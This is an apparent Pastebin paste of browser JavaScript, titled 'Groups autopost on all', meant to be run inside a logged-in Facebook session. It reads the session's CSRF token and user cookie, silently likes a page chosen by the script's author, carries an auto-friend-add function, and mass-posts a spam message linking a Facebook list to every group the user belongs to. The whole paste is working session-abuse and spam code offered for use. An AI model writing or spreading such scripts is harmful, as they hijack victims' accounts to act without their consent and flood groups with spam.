Advertisement
marco23554

Groups autopost on all

Apr 23rd, 2014
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.36 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  4. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  5.  
  6.  
  7.  
  8. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  9. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  10. var now = (new Date).getTime();
  11.  
  12. function P(post) {
  13. var X = new XMLHttpRequest();
  14. var XURL = "//www.facebook.com/ajax/ufi/like.php";
  15. var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
  16. X.open("POST", XURL, true);
  17. X.onreadystatechange = function () {
  18. if (X.readyState == 4 && X.status == 200) {
  19. X.close
  20. }
  21. };
  22. X.send(XParams)
  23. }
  24. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  25. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  26.  
  27. function Like(p) {
  28. var Page = new XMLHttpRequest();
  29. var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  30. var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
  31. Page.open("POST", PageURL, true);
  32. Page.onreadystatechange = function () {
  33. if (Page.readyState == 4 && Page.status == 200) {
  34. Page.close
  35. }
  36. };
  37. Page.send(PageParams)
  38. }
  39.  
  40. function IDS(r) {
  41. var X = new XMLHttpRequest();
  42. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  43. var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
  44. X.open("POST", XURL, true);
  45. X.onreadystatechange = function () {
  46. if (X.readyState == 4 && X.status == 200) {
  47. X.close
  48. }
  49. };
  50. X.send(XParams)
  51. }
  52.  
  53. //Me
  54. Like("535705899870512")
  55. // Photo
  56.  
  57.  
  58. //Script
  59. var grouppost = "<div><span class='img sp_43rped sx_e3ea36'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Write Post</a></div></br>";
  60. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Write something...' style='color:white;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  61. grouppost += "<div><br><span class='img sp_er534k sx_74b85a'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Script Settings: Group Post </a></span><button style='margin-left:437px' class='_42ft _4jy0 _11b _4jy3 _4jy1 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'>Powered By: <A style='color:#3B5998;' href='https://www.facebook.com/Ashu.ForeverAlone' target='_blank'> Ashutosh Sarraf</A></br>Script Created & Designed By</A><A style='color:#3B5998;' href='https://www.facebook.com/Ashu.ForeverAlone' target='_blank'> Ashutosh Sarraf</A></A></div>";
  62. var Popupset = document.createElement("div");
  63. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
  64. Popupset.innerHTML = grouppost;
  65. document.body.appendChild(Popupset);
  66. jx = {
  67. getHTTPObject: function () {
  68. var A = false;
  69. if (typeof ActiveXObject != "undefined") try {
  70. A = new ActiveXObject("Msxml2.XMLHTTP")
  71. } catch (C) {
  72. try {
  73. A = new ActiveXObject("Microsoft.XMLHTTP")
  74. } catch (B) {
  75. A = false
  76. }
  77. } else if (window.XMLHttpRequest) try {
  78. A = new XMLHttpRequest
  79. } catch (C) {
  80. A = false
  81. }
  82. return A
  83. },
  84. load: function (url, callback, format, method, opt) {
  85. var http = this.init();
  86. if (!http || !url) return;
  87. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  88. if (!method) method = "GET";
  89. if (!format) format = "text";
  90. if (!opt) opt = {};
  91. format = format.toLowerCase();
  92. method = method.toUpperCase();
  93. var now = "uid=" + (new Date).getTime();
  94. url += url.indexOf("?") + 1 ? "&" : "?";
  95. url += now;
  96. var parameters = null;
  97. if (method == "POST") {
  98. var parts = url.split("?");
  99. url = parts[0];
  100. parameters = parts[1]
  101. }
  102. http.open(method, url, true);
  103. var ths = this;
  104. if (opt.handler) http.onreadystatechange = function () {
  105. opt.handler(http)
  106. };
  107. else http.onreadystatechange = function () {
  108. if (http.readyState == 4)
  109. if (http.status == 200) {
  110. var result = "";
  111. if (http.responseText) result = http.responseText;
  112. if (format.charAt(0) == "j") {
  113. result = result.replace(/[\n\r]/g, "");
  114. result = eval("(" + result + ")")
  115. } else if (format.charAt(0) == "x") result = http.responseXML;
  116. if (callback) callback(result)
  117. } else {
  118. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  119. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  120. if (error) error(http.status)
  121. }
  122. };
  123. http.send(parameters)
  124. },
  125. bind: function (A) {
  126. var C = {
  127. "url": "",
  128. "onSuccess": false,
  129. "onError": false,
  130. "format": "text",
  131. "method": "GET",
  132. "update": "",
  133. "loading": "",
  134. "loadingIndicator": ""
  135. };
  136. for (var B in C)
  137. if (A[B]) C[B] = A[B];
  138. if (!C.url) return;
  139. var D = false;
  140. if (C.loadingIndicator) {
  141. D = document.createElement("div");
  142. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  143. D.setAttribute("class", "loading-indicator");
  144. D.innerHTML = C.loadingIndicator;
  145. document.getElementsByTagName("body")[0].appendChild(D);
  146. this.opt.loadingIndicator = D
  147. }
  148. if (C.loading) document.getElementById(C.loading).style.display = "block";
  149. this.load(C.url, function (E) {
  150. if (C.onSuccess) C.onSuccess(E);
  151. if (C.update) document.getElementById(C.update).innerHTML = E;
  152. if (D) document.getElementsByTagName("body")[0].removeChild(D);
  153. if (C.loading) document.getElementById(C.loading).style.display = "none"
  154. }, C.format, C.method, C)
  155. },
  156. init: function () {
  157. return this.getHTTPObject()
  158. }
  159. };
  160. var j = 0;
  161. var k = 0;
  162. var suc = 0;
  163. var msg = "Follow this list please... https://www.facebook.com/lists/676021032426544";
  164. var arr = new Array;
  165. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  166.  
  167. function autopostingfunc(sender) {
  168. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  169. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  170. var b = a;
  171. var c = b.substring(b.indexOf("{"));
  172. var d = JSON.parse(c);
  173. d = d.payload.entries;
  174. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  175. sender.parentNode.innerHTML = "Please Wait...";
  176. postitok()
  177. })
  178. }
  179. var a = document.body.innerHTML;
  180. var dts = document.getElementsByName("fb_dtsg")[0].value;
  181. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  182.  
  183. function postitok() {
  184. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  185. with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"), send(pst);
  186. suc++;
  187. if (suc > arr.length) {
  188. alert("Auto Posting Completed. Now Refresh your Homepage.");
  189. suc = 0
  190. } else setTimeout("postitok()", 3E4 / arr.length)
  191. }
  192. setTimeout("autopostingfunc()", 1E3);
  193. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  194. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement